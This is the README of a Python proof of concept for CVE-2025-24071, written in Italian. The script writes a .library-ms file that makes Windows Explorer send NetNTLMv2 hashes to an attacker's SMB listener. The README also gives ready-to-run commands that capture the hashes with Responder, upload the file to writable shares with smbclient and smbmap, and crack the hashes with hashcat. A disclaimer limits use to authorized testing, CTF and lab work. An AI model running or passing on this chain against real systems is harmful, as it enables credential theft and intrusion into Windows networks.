
PoC in Python per CVE-2025-24071 che crea un file .library-ms per indurre Windows Explorer a divulgare hash NetNTLMv2 tramite SMB, consentendone la cattura e il cracking.
CVE-2025-24071 — coercizione NTLM tramite .library-ms (metodo SMB / TAR)
Chiede il tuo IP di attacco e un nome file, scrive un .library-ms che punta a
\\<IP>\share, e lo impacchetta in exploit.tar. Quando Explorer esplora la cartella in cui
finisce il .library-ms sciolto, risolve automaticamente quel percorso UNC e fa trapelare
l'NTLMv2 dell'account verso il tuo listener — senza bisogno di alcun click.
⚠️ È il
.library-mssciolto che fa scattare tutto — non il.tar. Un.tarpresente sulla share è inerte; Explorer non analizza i tarball. Devi far arrivare il.library-msstesso sulla share come file sciolto. Come farlo dipende dallo strumento (vedi sotto).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms su una share scrivibilesmbclient — carica il .tar, estrailo lato server con tar x (deposita il
.library-ms sciolto accanto ad esso):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — non ha una fase di estrazione, quindi carica direttamente il .library-ms
sciolto (caricare qui il .tar non serve a nulla — non può decomprimerlo):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
Verifica che sia arrivato sciolto sulla share:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ solo per penetration testing autorizzato / CTF / uso in laboratorio ☧